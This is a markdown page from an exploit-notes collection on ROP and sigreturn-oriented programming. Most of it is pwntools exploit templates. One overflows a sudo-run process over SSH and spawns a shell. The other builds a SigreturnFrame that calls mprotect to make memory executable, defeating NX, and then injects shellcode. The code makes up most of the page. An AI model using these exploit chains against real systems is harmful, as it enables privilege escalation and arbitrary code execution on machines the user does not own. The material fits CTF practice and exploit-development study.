killchain-compendium/Exploits/Binaries/Ropping.md

# ROP Chaining

## Usage

* Find cyclic buffer size
* Find gadgets via `ropper`, `ROPgadget --binary` or even better `ropstar`

## Example

### Example 1
```python
from pwn import *

s = ssh(host="$TARGET_IP", user="<user>", keyfile="", password="")
p = s.process(['sudo', '<process>'])

offset=<found_offset_len>

payload = cyclic(offset)
payload += p64(0x4711)
payload += p64(0x235)
payload += p64(0x007)

print(p.recv())
p.sendline(payload)
print(p.recv())
p.sendline("/bin/sh")
p.interactive(prompt='')
```

## SIG ROP

Sigreturn oriented programming.

### What is it?

The manual for `sigreturn` states the following

> sigreturn, rt_sigreturn - return from signal handler and cleanup stack frame

Further, `mprotect` provides a writeable and executable memory segment. Even `NX` is nullified in this way and the stack will be executable.

From the `mprotect` manual

> The  mprotect() function shall change the access protections to be that specified by prot for those whole pages containing any part of the address space of the process starting at address addr and continuing for len bytes. 

### Usage

First, use `mprotect` on a memory segment. Use the `Minimum Address` provided by a Ghidra import to get an address to write to.

```
ROPgadget ---binary <binary> | grep ": syscall"
```

Use this found address as a start to craft a frame via pwntools

```python
from pwn import *
context.clear(arch='amd64')
context.terminal = ["urxvt", "-e", "sh", "-c"] 
p = process(<process>) 
shellcode = <shellcode from shellstorm>

SYSCALL = <address found by ROPgadget previously>

VULERNERABLE_FUNCTION = p64(<vulnerable function address>)
VULERNABLE_POINTER = <Instruction Pointer to vulnerable function>
WRITEABLE_ADDRESS = <Minimum address provided by Ghidra import>

frame = SigreturnFrame(kernel="amd64")
frame.rax = 10  # mprotect syscall
frame.rdi = WRITEABLE_ADDRESS
frame.rsi = <stackframe size>
frame.rdx = 7  # rwx
frame.rsp = VULERNABLE_POINTER
frame.rip = SYSCALL

payload = b'A' * <found len> + VULERNERABLE_FUNCTION + p64(SYSCALL) + bytes(frame)
p.sendline(payload)
p.recv()

p.interactive(p) # or gdb.attach(p)
```